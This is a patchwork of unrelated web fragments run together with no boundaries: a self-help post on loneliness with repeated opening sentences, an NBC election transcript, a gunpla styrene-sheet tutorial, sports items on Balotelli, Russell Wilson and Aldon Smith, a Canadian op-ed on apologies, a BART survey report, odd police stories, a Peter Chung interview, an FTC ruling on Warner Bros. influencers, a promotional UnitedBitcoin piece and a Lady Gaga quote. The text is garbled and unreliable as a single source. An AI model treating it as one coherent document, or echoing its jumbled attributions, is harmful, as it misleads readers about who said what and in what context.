. If you’re hitting it off with more than 20% — even 10% — of the people you make contact with, I have only two questions for you: 1. How are your writing skills? 2. Wanna write a guest post? Get out of your house. Nobody cares. And if you’re staying at home, taking long baths to “think” about things, and repeatedly promising yourself that tomorrow is The Day that you are really going to crank it up, then they will keep not caring.
Nobody cares. And if you’re staying at home, taking long baths to “think” about things, and repeatedly promising yourself that tomorrow is The Day that you are really going to crank it up, then they will keep not caring. Salespeople are the masters of rejection . They spend most of their day getting brushed off by people that don’t care. And they make a hell of a good living at it too. If you’re willing to expose yourself to massive rejection, you win.
. They spend most of their day getting brushed off by people that don’t care. And they make a hell of a good living at it too. If you’re willing to expose yourself to massive rejection, you win. We buy products for the same reason that we choose friends and lovers: they make us feel better and do better . Social success isn’t about you kicking ass, it’s about helping other people kick ass. So consider: What do you know that you can share with others? What can you help other people be better at? What do you want to see changed in the world, and where might you find others that want the same thing?
. Social success isn’t about you kicking ass, it’s about helping other people kick ass. So consider: What do you know that you can share with others? What can you help other people be better at? What do you want to see changed in the world, and where might you find others that want the same thing? Be honest: How many people where you live even know that you exist? 50? 100? Maybe 150? What about as a percentage of your city’s population? 0.00005%? Unless you live in a smaller place, cracking even 1% is almost impossible. An entrepreneur who doesn’t advertise his product would not get depressed if nobody bought it. And yet a lot of people do get depressed when they don’t “advertise” themselves (by going out, meeting people, talking to strangers, etc.) and nobody comes knocking.
Ultimately, if you are in a social rut, I am there with you. I know what loneliness is like and I know there is a way out. Nobody cares does not mean that nobody will care. It’s just a reminder that there are forces and filters that, while helping us cope with information overload, also make us invisible to each other. And the way to social savviness is not to ignore them, but to incorporate them into your action plan.
Moments later, Mitchell turned to correspondent Kristen Welker and worried: “...this really does put Hillary Clinton on the spot. She has campaigned on her resume, on her advantages in having been part of the administration, Secretary of State, a senator on Armed Services. Yet, Donald Trump is still communicating toughness in a way that she hasn't been able to.”
She added that Clinton “also is off message in that this was going to be the big rollout of her appeal to millennials, a real problem that she has in inspiring young people to come out in the numbers and the percentages that they did for Barack Obama.”
Welker agreed: “...it creates a real challenge for Secretary Clinton, you’re right, because Donald Trump talks tough and voters are clearly responding to that.” The reporter concluded: “There’s no doubt it’s complicating her efforts to energize millennial voters....the focus right now is on terror, particularly with our debate about a week away. So the challenge for her is to make sure that she energizes this voting group while also trying to look strong.”
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While dipping into a Clinton stump speech in an earlier segment, Mitchell seemed to catch herself sounding more concerned about the Democrat’s flailing campaign than about the threat of terrorism:
This [terrorism] has been a subject for Hillary Clinton. She's speaking at Temple University right now, a planned event....trying to reach out to millennials who have been not inspired so far in the numbers that they had been by Barack Obama, of course, four and eight years ago. And this is a real concern for the campaign. But obviously, the big concern today is the terrorism in New York and New Jersey.
Here is a full transcript of Mitchell’s Clinton strategy session with Welker and fellow correspondent Peter Alexander:
12:31 PM ET
ANDREA MITCHELL: And of course, all of this is happening with a presidential election on the line. Hillary Clinton this morning, as we said, saying that Donald Trump is part of the problem in the fight against ISIS, that his comments throughout the primary and general election campaigns assist terror groups in recruiting efforts. This was at the news conference at the airport this morning in White Plains.
HILLARY CLINTON: I don't want to speculate, but here's what we know. And I think it's important for voters to hear this and weigh it in making their choice in November. We know that a lot of the rhetoric we’ve heard from Donald Trump has been seized on by terrorists, in particular ISIS, because they are looking to make this into a war against Islam. I’ve been very clear, we’re going after the bad guys and we're going to get them. But we’re not going to go after an entire religion.
MITCHELL: And we also heard a radio interview, an interview on Fox News, from Donald Trump this morning, before he met, actually, with Egypt's president, President Sisi. The meetings because of the U.N. this week and then flew on to Florida. But this was Donald Trump earlier today.
DONALD TRUMP: We’re going to have to be very tough. I think maybe we’re going to be seeing a big change over the last couple of days. I think this is something that maybe we’ll get – you know, will happen perhaps more and more all over the country.
STEVE DOOCEY: What do you mean? More terrorist strikes?
TRUMP: Yeah, because we’ve been weak. Our country has been weak.
MITCHELL: Joining me now is Kristen Welker, with the Clinton campaign in Philadelphia, at Temple University. NBC national correspondent Peter Alexander here in New York. Peter, let's talk first of all about the dynamic here in the campaign. With this happening, we’ve always, you know, been talking about October surprises for several election cycles, but this is exactly what a lot of the people around Hillary Clinton had been concerned about, some incident. We recall how San Bernardino and the Muslim ban was – elevated Donald Trump and gave him this tough persona in the primaries. He is now polling better than Hillary Clinton in the ability to combat terrorism. Although she has the reverse numbers, better than he, to be commander-in-chief.
PETER ALEXANDER: No, I think you’re exactly right. What’s striking now, we’re 50 days til the election, but exactly seven days until the first debate. And so, over the course of the last 24/48 hours – [coughs] excuse me – we’ve seen in real time a point/counterpoint between these two candidates on this very issue.
Donald Trump today, among other things, talking about the issue of racial profiling, saying, in effect, that police in this country are afraid to do anything to stop attacks like the bombings that took place in New York and in New Jersey because they don't want to be accused of racial profiling. He says the country needs to start a conversation, needs to look at that more seriously. He says it’s a concept he doesn't like but one he thinks we may need to pursue going forward.
But obviously, sort of true to Donald Trump's tone, he was a little bit more self-congratulatory in his language as well, you could say he was bragging, in effect, taking credit for basically saying this was a bombing even before the determinations had at least been communicated publicly by law enforcement. Saying, “I should have been a newscaster, because I called it before the news.” Obviously that is all sort of in real sharp contrast to the way Hillary Clinton handled this, much more measured, I think you would say, much more cautious approach.
MITCHELL: And now he’s tweeting, “Great job, once again, by law enforcement! We are proud of them and should embrace them – without them, we don't have a country!” He was endorsed, over the weekend, by the Fraternal Order of Police, which is the largest police union.
Kristen Welker, this really does put Hillary Clinton on the spot. She has campaigned on her resume, on her advantages in having been part of the administration, Secretary of State, a senator on Armed Services. Yet, Donald Trump is still communicating toughness in a way that she hasn't been able to. And she also is off message in that this was going to be the big rollout of her appeal to millennials, a real problem that she has in inspiring young people to come out in the numbers and the percentages that they did for Barack Obama.
KRISTEN WELKER: There’s no doubt it’s complicating her efforts to energize millennial voters. Andrea, I’ll get to that in just a moment. But to your first point, it creates a real challenge for Secretary Clinton, you’re right, because Donald Trump talks tough and voters are clearly responding to that. Her strategy is to tout her experience, but also to talk about the strategy that she has called for to defeat ISIS. And you heard her talk a little bit about that today when she stressed the need for an “intelligence surge” to really try to tackle the issue of lone wolves. And so, I think that’s part of what you’re going to hear from her in the coming days as she addresses this issue. Her strategy says, “Look, the polls underscore what we’ve been saying all along, which is that this is a deeply divided electorate.”
But to your second point, Andrea, she is not matching up to where Obama was back in 2012 with key parts of the Obama coalition. Millennials are the focus today, so she's talking about plans for college affordability, her plans to try to make community college free for many Americans. And this is going to be critical if she’s going to win in November. Not just millennials, but other key parts of the Obama coalition, Latinos. Some of her critics are arguing she hasn't done enough to reach out to that critical voting bloc. The Obama – the Clinton campaign now up with Spanish language ads to try to court that group. But you’re right, the focus right now is on terror, particularly with our debate about a week away. So the challenge for her is to make sure that she energizes this voting group while also trying to look strong. Andrea?
"The problem in the economy is not a shortage of money, it's about confidence and jobs and growth," he said in an exclusive interview with Fairfax Media.
Not softening: Treasurer Joe Hockey. Credit:Andrew Meares
Accordingly, there will be no slowdown in the push back to surplus despite an apparent softening of attitude by Prime Minister Tony Abbott and fresh calls from business for more expansionary settings to kick-start growth.
Pla Plates
Pla plates, short for plastic plates, is the term generally used by gunpla modelers to refer to what's commonly known as styrene sheeting. Styrene, a type of plastic, is a preferred material produced for modelers looking to scratch build or customize their projects. It's fairly common and applies to many hobbies, most commonly model trains, making it quite common in hobby shops. In the United States many shops feature a shelf with plates from Evergreen Scale Models or Plastruct.
Styrene sheets are generally white and range in thickness from 0.3mm to 3.2mm. If you encounter a gray sheet it's probably ABS plastic. In addition you're likely to see sheets with textures (such as roof shingles) and stripes/pipes/this and that. When it comes to these unique shapes feel free to let your imagination run wild.
Simple Pla Plating
Pla plating is generally references the practice of attaching styrene sheets to the outside of a kit for added detail and dimension. The process is quite simple, cut out some pieces, affix them to your project, and paint.
Creating & Applying Shapes
The first step is cutting up your sheeting into small pieces to fit onto your kit. The most common methodology is to cut up standard shapes such as trapezoids or rectangles. To do this all you really need is a sharp hobby knife, a cutting mat to protect your work surface, a ruler, a pencil, and of course, some glue.
Rectangles and squares are the easiest form to make. Design an appropriate dimension and use your ruler to plot the appropriate points on your styrene sheet. Then using the ruler as a stable edge cut along the lines or between the points you plotted. For smaller and common pieces (say 3mm by 1mm plates) cut a larger piece first (in this case 3mm by 10/20/30/40mm). Then using your ruler cut it down into smaller pieces as you need them.
If you're planning on odd or free form shapes sketch out designs on a piece of paper first. You can then cut them out and place them on the kit to get an idea for the size, scale, and placement without wasting valuable plastic. Once you know what you want you can either trace that piece out onto your styrene sheet or just sketch it again. To make duplicates just trace and cut as much as needed. Note that tracing and cutting generally results in a piece a tad larger than the source. If looking for exact copies make sure to compare and sand/cut as needed.
When it comes to glue I recommend a little bit of plastic weld. With it's thin nature and brush application it's easy to apply the just the right amount. Or, rather, it's perhaps the easiest to apply in the right amount. The downside is, if not applied carefully, it can mess up adjacent parts.
Plastic weld essentially melts the plastic parts together creating a nice tight fit. However a little bit rubbed here or there can create visible defects in the surface.
The key is to apply just the right amount to get the piece on and in place without any seeping out the edges after pressed into place. It's better to use a little bit and be forced to re-apply or add more later.
For pla plates over curved pieces start by gluing down one end. Once that part has dried apply a bit more to the next section and press & hold in place. Continue until you've glued the whole thing. Note that this only works for gradually curving sections. If you have any sort of hard corner you'll want to cut the piece along that edge, glue separately, then fill and sand as needed.
Keep in mind that styrene can be sanded down just like you do to remove nubs and seemliness. If you want a pla plate to come up and fit flush with an existing edge start by applying a piece that stick out over the edge just a little bit. Once it dries you can cut it down and sand flush. For this to work the plastic needs to be properly glued along that edge otherwise you might pull it back during sanding.
In addition any awkward edges or gaps following pla plate applications can be filled in with putty or other filler and sanded smooth.
To create a more dynamic look layer your pla plates. For thicker pieces you can glue thinner plates together. This is especially useful when creating rounded edges or pieces.
Creating Templates
Another trick you can use is to create your own stencils using other styrene sheets or clear plastic sheeting (which I've only seen online retailers). A thrifty builder will be able to use leftovers from hated clamshell packaging.
Check out this nifty tutorial video I found on the YouTubes...
Design Aesthetics
This is the part where I reiterate that what you like and what you want to do with your kit is entirely up to you and what you like. When it comes to pla plating, the shapes you add, how much, how little, how thick they are, and so forth, is all in your hands. Personally, I like to keep things simple and clean. I've seen some works out there that have pla plates all over the damn place. While it may be technically well done it clashes with my own personal tastes and I just hate it. Keep in mind that the hobby is what you make of it. Do your own thing and design something you love!
Customization
Here comes the crazy shit. The true artists out there are able to design custom pieces and components from the ground up. It takes one part artist and one part artist to get things right. Aspects I thoroughly lack, but when pla plates are in the right hands, the results are no less than spectacular.
The striker has not played for Milan since the 1-0 Serie A defeat to Genoa in late September.
He has been suffering from a groin problem and it was thought he could be out until the new year.
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All done ! All good! Coming back soon👍🏾.. Thanks for support few weeks and I ll be back👊🏾 A photo posted by Mario Balotelli🇮🇹🗿👪 (@mb459) on Nov 18, 2015 at 3:38am PST
However, a statement from Milan on Wednesday read: "Mario Balotelli underwent surgery in Munich. The operation was successful and recovery time will be about four weeks, unless there are complications."
Balotelli has made just four appearances for Milan since returning in the summer on a season-long loan from Liverpool.
He scored 26 goals in 43 appearances in his first spell with the club before leaving to join Liverpool in 2014.
No. 5: Russell Wilson, Seattle Seahawks
Why he's here
Wilson's enjoyed one of the greatest rookie seasons by a quarterback in NFL history, yet he only came in third in last year's Offensive Rookie of the Year voting because of Robert Griffin III and Andrew Luck. (ATL also had Wilson third.) The Seattle Seahawks practically hid Wilson in the offense early in the season. By the end of the year, playoff defenses like the San Francisco 49ers and Atlanta Falcons had no answer for him.
Wilson combines an incredible mix of smart decision-making and daring, improvisational play. He is not afraid to throw the ball away and rarely forces a pass into coverage. But he also is willing to pull the trigger on downfield throws when he sees one-on-one coverage. (And he's very accurate deep.) No rookie quarterback improved more last year at going through his progressions and throwing from the pocket.
He showed a knack for making his best plays late in games against the Green Bay Packers, New England Patriots, Chicago Bears and Falcons. Yet despite all the mature attributes Wilson shows, it's his Fran Tarkenton-like ability to improvise when the play breaks down that sets Wilson apart. The perfectly called defense often failed to bring down Wilson behind the line of scrimmage. You can't coach this type of scrambling ability, and it's frustrating to coach against it.
Why he's not higher
There's not a lot to pick on with Wilson. He's only not higher because of the ridiculous amount of quality young quarterbacks in the league at the moment. (More on that later.)
Wilson mostly gets into trouble when his decision-making slows down. He has a tendency to hold the ball too long, sometimes waiting for a play to emerge that isn't there. Only three starting quarterbacks took more sacks-per-play than Wilson despite good protection overall. It will be a balance for him throughout his career to use his athleticism and creativity without relying too much on them. Four of Wilson's five biggest rushing games came in Seattle's final five weeks.
Wilson's height did not prove to be a significant disadvantage as a rookie; he knows how to find and create throwing lanes. But he did miss seeing wide open receivers a decent amount. (This was true even in the playoff win over the Washington Redskins.)
Wilson's floor
A rookie season that started off well turned spectacular during Wilson's stretch run. His challenge, like the rest of the 2012 rookie class, will be to back it up after defenses throw new wrinkles at him. Wilson is helped by a strong power running attack and a willingness to test opponents deep. If Wilson sees a player in single coverage, he takes a shot. He reminds us a little another quarterback of relatively short stature: Drew Brees. Wilson isn't necessarily known for having a cannon, but it's plenty big enough. He's one of the most effective vertical throwers in the league.
Wilson's work ethic, leadership and overall intangibles are off the charts. That's why it's hard to imagine Wilson taking a big step back in his career. His height -- which deeply hurt his draft stock -- doesn't look like a problem. With a strong organization around him, Wilson should be a franchise quarterback that hangs around the top 10 at his position for most of his career. And that feels like a worst-case scenario.
Wilson's ceiling
Perhaps the biggest reason for optimism involves Wilson's rapid rate of improvement. Early last year, the Seahawks had no intermediate passing game. It was all bombs and dump offs. Wilson was only completing a handful of passes at most per week from the pocket. By the end of the year, Wilson was making a living on plays from the pocket. The plays below show Wilson's development and ability to make every throw.
Wilson is better, faster than any quarterback to enter the league since Ben Roethlisberger in 2004. (Omitting the other class members of 2012.) That's how rare it is to see a rookie quarterback excel like Wilson did. That's also why I feel so guilty about placing Wilson fifth in our series.
That placement speaks to the insane influx of talent at quarterback the last few years, and the reality that someone had to get knocked down a few spots. (As a pure thrower, Wilson ranked just below the guys in front of him.) There is very little gap between the top player on the list and Wilson at No. 5. That's why this series felt like a fun idea in the first place.
Everything feels possible when it comes to Wilson's career, with virtually no ceiling to what he can accomplish. Seahawks fans believe they have the quarterback that will take them to the promised land. They should. The Seahawks organization, only a year removed from giving good money to Matt Flynn, has a quarterback that can be in the mix for league MVPs.
As Roethlisberger noted last week, it's risky to put too much faith in young quarterbacks before they back up early success. Wilson, however, has a way of turning any skeptics into Russellmaniacs.
Aldon Smith was arrested last night for DUI, hit and run, and vandalism. He said “the truth will come out,” and “there’s no DUI.” If the truth is anything like this insane report from MediaTakeOut.com, the 49ers are officially the craziest reality show cocktail in sports. Picture “Hard Knocks,” mixed with “Bad Girls Club,” with a little “Party Down South” mixed in.
A personal apology, as Canadians well know, may be given offhand. But the most meaningful ones typically include a detailed admission of wrongdoing, an attempt to empathize with the pain that the wronged may feel, a willingness to be held to account and an offer to make whatever amends one can.
Political apologies aren’t so very different. Trudeau offered one last week, a full century after Canada forced a ship full of South Asian people to turn back from Vancouver’s harbour. Political apologies typically involve a high-ranking politician saying a government once did something reprehensible and for this the nation is sorry — so sorry, in some cases, that reparations will be paid and remedies found. Recipients of the apology are assured that the mistake will not be repeated. Nor will it be forgotten.
Related
An erasure is antithetical to an apology’s spirit and intended effect. The philosophy of erasure dictates that forgetting is not a threat — it is a tool. It demands tributes be torn down if they are bestowed upon someone who did something awful. Woodrow Wilson may have founded the League of Nations, but he also advocated for the Ku Klux Klan. Edward Cornwallis may have founded Nova Scotia, but he also made the Scalping Proclamation in 1749, putting a bounty on the heads of Mi’kmaq people in the province.
Their names, having been blackened, should be blacked out. Or so the argument goes.
Tearing down statues and renaming buildings doesn’t merely call for the erasure of a single legacy. It denies a painful truth: that the same person who did something heinous may do something remarkable. It forecloses the possibility that they or their ancestors could redeem themselves. Occasionally, it scrubs out whole centuries, refusing to show a common courtesy to the dead — placing them in the time that they lived.
A natural response to all this, of course, is “Too bad.” It’s hard to pity an avowed racist for losing his granite pedestal when black people, gay people, indigenous people and women have, after all, great experience in being erased themselves. All these erasures of white male icons might be tolerable, then, were it not for a couple more erasures.
In erasing relics of history, we deny one of life’s strangest condolences: that something beautiful can be built upon something ugly. We rob ourselves of the chance to look history in the eye and declare that we will change its course. And in making caricatures of people and nations, we succumb to the dangerous delusion that we ourselves are not always on the knife’s edge of morality.
Apologies make no such error. If political correctness dictates that one must avoid hurt feelings, then an apology is animated by precisely the opposite impulse. The words “I’m sorry” may cause deep discomfort for all. The apology’s recipient must confront their own vulnerability, but also the possibility that they and their abuser have the agency to move on; the giver must confront not only their own fallibility, but their identity as the good guy.
Rather than tear down an old homage, a new one might be erected as its own form of apology.
That would come closer to the uncomfortable truth of people and nations. Canada’s truth is that it once helped create the International Criminal Court, and once committed cultural genocide against aboriginals. It once legalized same-sex marriage, and once rounded Japanese people into camps. It now welcomes thousands of Syrian refugees while imprisoning thousands of other refugees; signs anti-torture treaties while knowingly selling billions of dollars of arms to a human rights abuser that aims its weapons at hospitals and marketplaces; champions civil liberties while violating them.
Canada ought to be terribly proud and terribly sorry.
Shannon Gormley is a global affairs columnist and freelance journalist.
To the surprise of few, including commuters who faced another major delay Wednesday morning, BART’s customer satisfaction ratings have dropped to the lowest level in the 20 years riders have been asked to rate the transit system.
A biennial survey of BART riders released Wednesday shows that 31 percent of those polled said they were not completely satisfied with the transit system’s service or declined to give it satisfactory marks. Although 69 percent of riders said they were satisfied with the service, it represents a dip of five percentage points since the last survey in 2014.
Dissatisfied riders said they were most upset with the breakdowns and delays that have beset the aging system as well as the surge in ridership that has left more passengers standing, packed onto crowded trains and stations and lining up at times to exit stations.
Grace Crunican, BART’s general manager, said the results were not surprising, even expected, since decisions to invest in new railcars and system renovations have only been made in the past couple of years.
“We knew we were headed in this direction two years ago, and we knew we were headed down before we head up because of the lag in investment,” she said.
As BART’s new trains start hitting the rails in the coming years and the system begins spending the $3.5 billion in improvements funded by November’s bond measure, customer satisfaction should begin to climb, she said.
“By doing this in a systematic way,” Crunican said, “we will get our customer ratings up. But it will take a couple of years.”
For now, though, BART’s popularity is heading down. Most of the decline in overall popularity came from riders who said they were “very satisfied” — down four points compared with 2014. The survey also asked riders if they would recommend BART to a friend or out-of-town visitor. While 85 percent said they would, that was a four-point drop compared with 2014. Asked whether BART is a good value for the money, 59 percent agreed — two points less than 2014.
BART’s survey was taken aboard trains, chosen randomly, at different times of the day between Sept. 9 and Oct. 9. A total of 5,342 riders filled out a two-page questionnaire that asked them where they started and would end their rides, how they got to BART, their overall opinion about service and their perceptions about everything from the BART website to on-time performance of trains.
The margin of error was close to plus or minus 1.3 percentage points at a 95 percent confidence rate, said Aaron Weinstein, BART’s chief marketing officer.
Not surprisingly, the survey found that customers who stood for at least part of their trips gave lower ratings than those who had seats. About 74 percent of those seated said they were satisfied with BART overall while just 61 percent of those standing expressed satisfaction.
From a haunting in New Mexico to a serial masturbator's cheese-ridden reign of terror in Philly, it's a weird, weird world out there, and cops inarguably see the worst of it. Here are some of the strangest stories we covered in 2014.
1. Police arrest alleged 'Swiss Cheese Pervert'
A serial masturbator with an affinity for a certain dairy product was nabbed after allegedly driving around and exposing himself to multiple women while he asked them to pleasure him with Swiss cheese.
2. Tenn. cops find stolen, loaded gun in suspect's vagina
Police found a loaded North American Arms 22-caliber mini revolver inside the woman during a jail search, bringing a whole new meaning to 'concealed carry.'
3. Colo. man on 'molly' steals ambulance, attacks cops and masturbates in station
Man had a blanket, cell phone and a box of Wheat Thins with him during his crime spree. You know, the essentials.
4. Fla. woman asks for sex from cop, dials 911 after denial
Woman was arrested for misuse of 911 after repeatedly asking dispatchers to send an officer to her home for sex.
5. Video: NM police claim ghost caught on surveillance cam
Do you believe in ghosts?
6. NJ cop dressed as Donald Duck nabs drivers failing to yield
That 6-foot-4 Donald Duck trying to cross the street? Yeah, that's a cop.
7. Wanted man wins police-sponsored doughnut-eating contest, arrested
For nearly nine months, 24-year-old Bradley Hardison was a man on the run. What finally did him in? A doughnut eating contest at an anti-crime event packed with police.
8. Minn. man lands in jail after giving cop double 'wet Willy'
Man was getting on the "drunk bus" after bars had closed when he licked a finger on each hand and stuck them into the ears of a police sergeant.
9. Police find jewelry cache in Pa. man's rectum
Medical staff found a bag of synthetic marijuana, a socket wrench used for smoking, four bracelets, four necklaces, and 11 rings.
10. Would-be Minn. burglar scared off by singing fish
Wired.com: How did you get involved with Firebreather? Peter Chung: I've been trying to get something produced at Cartoon Network for a while. They liked my ideas but they were not doing the kinds of films that I wanted to do, which are skewed towards older audiences than they are used to. So I stopped thinking about them. Then, all of a sudden they called me and told me they had a script and thought it was perfect for me. Chances like that don't come along often; it's an unusual project in terms of its tone and story. So I signed up right away. Wired.com: Were you familiar with the comic before you became attached to the project? Chung: No, I wasn't. The comic was not that well-known, which I hope is going to change. But that freed me up considerably, which wouldn't have happened if it was something well-known like Batman or Spider-Man. The characters didn't have a really long history, either. So as we were embarking on the movie, the comic was still coming out and the story was still developing. So it really felt like we were participating in the creation of the characters and the world. And the creators have been really supportive, and enthusiastic about the result.
Wired.com: Did you have any input into the character design? The humans have the long, lean, athletic look of your characters from Aeon Flux and Reign. Peter Chung: Yeah, I did do the main character design: Duncan, Belloc, Margaret, the Kaiju monsters and others. Wired.com: I can't find an analogue for the Godzilla-like Belloc (above) in your work. His titanic evil seems far from designs you've done before. Chung: Yeah, Belloc was by far the hardest character to design. He does look a lot different in the comic. But he needed to do a lot of emoting and a lot of dialog. And you had to believe that Margaret would have loved him; he had to be sexy and he had to be seductive. My solution to getting that part of him to merge with his monstrous side was to have his face morph. So when you see him on all fours, he's more like a dinosaur; that's more like his Kaiju battle mode, when he's fighting tanks and so on. And when he's standing up, that's when he's more humanoid. Wired.com: Watching his face phase in and out was a cool CGI trick. Chung: It was deliberate, but I'm glad that it wasn't something that drew attention to itself. I didn't want it to seem like it was magical or supernatural. In the original story, there were elements of that, where he actually transformed into a human. I wanted to get away from that.
Wired.com: Speaking of sexy Kaiju, after watching Firebreather with my wife, I asked her what she'd want to ask you. And she wanted to know how Belloc had sex with Margaret, which Margaret actually brings up with Duncan (above) in a hilarious scene. Peter Chung: [Laughs] Well, I don't want to give a definitive answer. It's their private business. I don't know myself, but everyone asks that question. So rather than try to pretend it doesn't exist, the screenwriter Jim Klieg came up with a nice piece of dialog. Wired.com: Do you find it somewhat liberating, especially in our current so-called reality television age, that you can play with humor, cross-species sex and other out-there subject matter in animation, which is still, maddeningly enough, considered mostly a kids' medium? Chung: It's a freedom of a different kind. You have a lot more freedom in that you have a lot less creative restraints and you're able to take more chances. People aren't freaked out that you're trying to do something different. Cartoon Network was great in terms of letting me make the film I wanted to make. I can't imagine making Firebreather at another studio. Because we were venturing into a lot of unknown territory with this project, I didn't want the characters to feel real or motion-captured, although it is a fairly realistic story and style. That was also a challenge, to come up with a design that was somewhere between realism and caricature. Especially since so much of the story revolves around appearances, the way Duncan looks and changes. I think we did it.
Wired.com: I think it's cool that Cartoon Network gave you that latitude. My feeling is that you let the visionaries play, and let the chips fall where they may. Peter Chung: They had a lot of directors that they could have chosen, so I took the fact that they chose me to be the director as a sign that they wanted my style of film. And I kept pushing and pushing, and there were some battles along the way. But I felt like the film turned out better than any of us could have expected, considering that it was my first CGI feature and I was working quickly with people I've never worked with before. Wired.com: I think it especially paid off in the action, which is fairly breathtaking. Chung: But the thing is that the action is carefully set up so you feel what the stakes are. That's why it's engaging and compelling. You can have the most elaborately staged and impressively mounted action sequences, and still not care what's going on, because you don't feel invested in the characters or story. For me, having done this for a long time, the action scenes were the least-challenging parts. Those are going to be interesting no matter what, monsters fighting monsters. It's hard to make that uninteresting, unless you're really lousy. But I paid a lot of attention to blocking the quieter moments, which had the potential to be boring, especially in animation.
Wired.com: Firebreather has a demographic baked into it, given that it takes place in high school. But do you think it transcends that demographic to appeal to viewers comfortable with more mature, philosophical work? Peter Chung: That was a challenge, because I knew Cartoon Network was aiming for a target audience that wasn't the same as Aeon Flux. And I hate to say this, because of what it says about my other work, but Firebreather really is a film that is for everyone. I did think a lot about my teenage years, and really tried to connect with Duncan and his problems. So I let that be my guide: What kind of character would I want to be in high school? And the rest of it was trying to craft a well-structured story, which sounds kind of generic. But in the end, you just have to use all the methods of good filmmaking at your disposal. I really tried to push the way that scenes were blocked and staged, which is a little unusual for CG animation. I come from a 2-D background, and I'm really influenced by Japanese animation, where you really have to get creative with your staging and camera work. And I think applying 2-D creativity to CG comes across as being very fresh. Wired.com: Did you find any difficulty translating your style to CG? Chung: For me, it was remarkably easier than it would have been in 2-D. It was very liberating. I've been wanting to do CG for a long time, but the fact is that it would have been impossible to make this film on this budget even two years ago.
Wired.com: The film gives the impression that there is a series hiding behind it. Have there been any discussions to that effect? Peter Chung: Yeah, we're definitely trying to launch a series. We're talking about developing more stories, but whether they will take the form of a series or another movie hasn't been decided yet. I think the good stuff is yet to come. We spent a lot of time establishing the characters and the world. It's the burden of any origin story; there's a lot of groundwork. Wired.com: Well, I think more of anything would be great. Firebreather is a great example of programming that transcends the restrictions of sci-fi and fantasy, and we could use it. Chung: Well, just make sure to include those kinds of comments in your article. That will help make it happen!
Wired.com: What else are you working on? Peter Chung: One project I've been trying to get done for a while is an animated Aeon Flux feature. That's the only project I can talk about now, and also the one that was closest to being done, until the Aeon Flux live-action film came out and didn't do very well. That would be the one that is the most ready to go. Wired.com: Is that 2-D or CGI? Chung: At this point, it would be a CGI film, now that I've done Firebreather. I have some other projects that I've been developing. It's always been hard for me to sell the projects that I want to do in Hollywood, as you can imagine. But having this is definitely going to help, because I think it shows people what is possible, using animation in a dramatic form rather than doing something that's gag-driven.
Under the terms of the agreement, Warner Bros. is banned from failing to disclose similar deals in the future, and cannot pretend that sponsored videos and articles are actually the work of independent producers. "Consumers have the right to know if reviewers are providing their own opinions or paid sales pitches," director of the FTC's Bureau of Consumer Protection Jessica Rich said in a statement. "Companies like Warner Brothers need to be straight with consumers in their online ad campaigns."
The influencers could not express negative opinions about the game
Warner Bros.' deal with the influencers involved stated that they had to make at least one tweet or Facebook post about the game, as well as produce videos with a string of caveats to avoid showing it in a negative light. Those videos could not express negative opinions about the game or Warner Bros. itself, could not show any glitches or bugs, and must include "a strong verbal call-to-action to click the link in the description box for the viewer to go to the [game's] website to learn more about the [game], to learn how they can register, and to learn how to play the game," according to Ars Technica.
The FTC says disclaimers in the YouTube description were not enough
The videos earned more than 5.5 million views for Warner Bros., with PewDiePie's monster subscriber numbers accounting for 3.7 million views on his own. Influencers were advised to disclose the video's sponsored status under YouTube's "Show More" section, and while PewDiePie included a line, others did not. But that doesn't matter: the FTC says this would not have been enough to skirt the rules anyway, as the disclaimer would not have been visible on videos watched through Twitter, Facebook, or other social media sources.
YouTube has increasingly been seen as a haven for independent video game purchasing advice over recent years, as Let's Plays have taken off as a watch-along format, and movements like GamerGate have cast aspersions against the mainstream media and specialist video games press. But while YouTube allows for a direct connection between these new game-playing celebrities and their fans, the legally murky format and young age of some of the biggest stars mean that people are open to exploitation by companies and YouTubers alike who hide their affiliations.
Other YouTubers have taken money to produce content and presented it as independent opinion
In 2014, Gamasutra found that of more than 40 YouTubers questioned with more than 5,000 subscribers, a quarter had taken money to produce sponsored content. Earlier this month, two big names in the Counter-Strike YouTube community were criticized after it was revealed they actually owned a video game item betting site that they had advertised in several videos. Trevor ‘TmarTn' Martin and Tom ‘ProSyndicate' Cassell produced videos of themselves using — and repeatedly winning on — CSGOLotto, without divulging that they owned the site, and could conceivably tweak the odds at will. This was a particular problem because the items being betted on — skins for Counter-Strike's weapons — can be sold for real money. Currently there are two lawsuits pending against both CSGOLotto and Valve, the creators of Counter-Strike, arguing that both are complicit in operating and maintaining ersatz online casinos.
Meanwhile, many people who hold bitcoins are waiting for forks to happen to get free tokens without thinking much of either the concept or the technology. However, the UnitedBitcoin fork is very different, not only in theory but also in the implementation specific to its technology.
UnitedBitcoin also referred to as UB (official website: ub.com), has the currency symbol of UBTC. The total volume, block-speed and halving time are the same as Bitcoin's. Additionally, UnitedBitcoin's PoW mechanism is the identical to Bitcoin's as well, except it has the lower initial difficulty.
UnitedBitcoin supports SegWit and has an 8MB block size to improve on-chain scalability. It also adds new smart-contract features and plans to support the Lightning Network later on.
Implementing Lightning Network and Smart Contract functionality on top of the Bitcoin's UXTO model is very exciting but not easy to do. However, QTUM has been able to accomplish this and create a massive worldwide technical support community as well.
UnitedBitcoin's smart contract system is a newly developed technology showcasing the capabilities of the development team. However, the number of teams around the world that can independently develop virtual machines for smart contracts is still limited.
Bitcoin has the advantages of being globally recognized for its stable monetary system and having the 'first mover' advantage, a position which a fork cannot easily overturn. Nonetheless, with a new business model, UnitedBitcoin has the chance to make a difference.
The goal of UnitedBitcoin (UB) is to honor Bitcoin owner's holdings, meaning all active addresses will receive UnitedBitcoin balances of the equivalent amount. Inactive balances will be transferred to multi-signature wallets controlled by the UB Foundation.
Part of the remaining UnitedBitcoin will be used for distributing rewards to other entities in the ecosystem, such as Ethereum (the first smart contract), QTUM (the first smart contract on top of Bitcoin), Litecoin (the first major alt-coin), HSR (the first alt-coin with an algorithm that has anti-quantum attack properties) and other major chains.
All remaining UnitedBitcoins will be used as a credit guarantee pegged to fiat currencies similar to USDT.
Project Overview of UnitedBitcoin
In other words, there is no pre-mining, no reservations and the whole blockchain is participating.
“I’m dieting right now, because I gained, like, 25 pounds,” Gaga told radio host Elvis Duran when she called into his show just before she hit the road. “And you know I really don’t feel bad about it, not even for a second. I have to be on such a strict diet constantly. It’s hard because it’s a quite vigorous show, so I tend to bulk up, get muscular, and I really don’t like that. So I’m trying to find a new balance.”
Cruel critics have suggested that Gaga's weight gain is the result of the amount of alcohol she consumes, but Gaga begs to differ, confirming it's from her dad’s Italian cooking.
